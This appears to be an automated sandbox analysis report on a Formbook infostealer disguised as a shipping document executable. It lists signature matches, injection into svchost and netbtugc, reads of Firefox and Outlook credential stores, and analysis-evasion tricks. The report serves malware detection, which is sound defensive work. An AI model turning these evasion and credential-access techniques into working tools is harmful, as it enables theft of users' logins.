Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: String function: 00E20C63 appears 70 times

Source: SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1708707067.0000000003B93000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SHIPPING DOC MBL+HBL.exe
Source: SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1709933601.0000000003D8D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SHIPPING DOC MBL+HBL.exe

Source: SHIPPING DOC MBL+HBL.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@13/7

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E6A0F4 GetLastError,FormatMessageW,

0_2_00E6A0F4

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E584F3 AdjustTokenPrivileges,CloseHandle,		0_2_00E584F3
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E58AA3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00E58AA3

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E6B3BF SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00E6B3BF

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E7EF21 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00E7EF21

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E784D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00E784D0

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E04FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00E04FE9

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

File created: C:\Users\user\AppData\Local\Temp\aut490B.tmp

Jump to behavior

Source: SHIPPING DOC MBL+HBL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: netbtugc.exe, 00000006.00000002.3565934863.0000000003304000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2360663527.0000000003304000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SHIPPING DOC MBL+HBL.exe	ReversingLabs: Detection: 63%
Source: SHIPPING DOC MBL+HBL.exe	Virustotal: Detection: 35%

Source: unknown	Process created: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe"
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe"
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe"	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\SysWOW64\netbtugc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\netbtugc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: SHIPPING DOC MBL+HBL.exe

Static file information: File size 1280512 > 1048576

Source: SHIPPING DOC MBL+HBL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SHIPPING DOC MBL+HBL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: PrWIbKXhdqUKk.exe, 00000005.00000000.2047243039.0000000000E7E000.00000002.00000001.01000000.00000005.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3566947457.0000000000E7E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1709765778.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1708441812.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2131532492.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2030952866.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2131532492.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2029045752.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.00000000037E0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2127849653.000000000348F000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2133475668.0000000003633000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.000000000397E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1709765778.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1708441812.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2131532492.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2030952866.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2131532492.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2029045752.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.00000000037E0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2127849653.000000000348F000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2133475668.0000000003633000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.000000000397E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdb source: svchost.exe, 00000001.00000003.2094708675.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2130361226.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000003.2064852940.00000000010BB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdbGCTL source: svchost.exe, 00000001.00000003.2094708675.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2130361226.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000003.2064852940.00000000010BB000.00000004.00000001.00020000.00000000.sdmp

Source: SHIPPING DOC MBL+HBL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SHIPPING DOC MBL+HBL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E7C104 LoadLibraryA,GetProcAddress,

0_2_00E7C104

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E68538 push FFFFFF8Bh; iretd	0_2_00E6853A
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2E88F push edi; ret	0_2_00E2E891
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2E9A8 push esi; ret	0_2_00E2E9AA
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E28AC5 push ecx; ret	0_2_00E28AD8
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2EB83 push esi; ret	0_2_00E2EB85
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2EC6C push edi; ret	0_2_00E2EC6E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040A883 push FFFFFFC7h; retf	1_2_0040AA9A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040AEA4 push cs; retf	1_2_0040AEAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004036B0 push eax; ret	1_2_004036B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004087F2 push ecx; iretd	1_2_004087FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0320225F pushad ; ret	1_2_032027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032027FA pushad ; ret	1_2_032027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032309AD push ecx; mov dword ptr [esp], ecx	1_2_032309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0320283D push eax; iretd	1_2_03202858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0320135E push eax; iretd	1_2_03201369

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E04A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00E04A35
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E853DF IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00E853DF

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E23307 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00E23307

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	API/Special instruction interceptor: Address: FEAA1C
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0327096E rdtsc

1_2_0327096E

Source: C:\Windows\SysWOW64\netbtugc.exe

Window / User API: threadDelayed 9725

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-97847

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	API coverage: 4.6 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %

Source: C:\Windows\SysWOW64\netbtugc.exe TID: 7768	Thread sleep count: 247 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 7768	Thread sleep time: -494000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 7768	Thread sleep count: 9725 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 7768	Thread sleep time: -19450000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe TID: 7828	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe TID: 7828	Thread sleep time: -31500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\netbtugc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\netbtugc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6449B GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00E6449B
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6C7E8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00E6C7E8
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6C75D FindFirstFileW,FindClose,	0_2_00E6C75D
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6F021 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00E6F021
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6F17E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00E6F17E
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6F47F FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00E6F47F
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E63833 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00E63833
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E63B56 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00E63B56
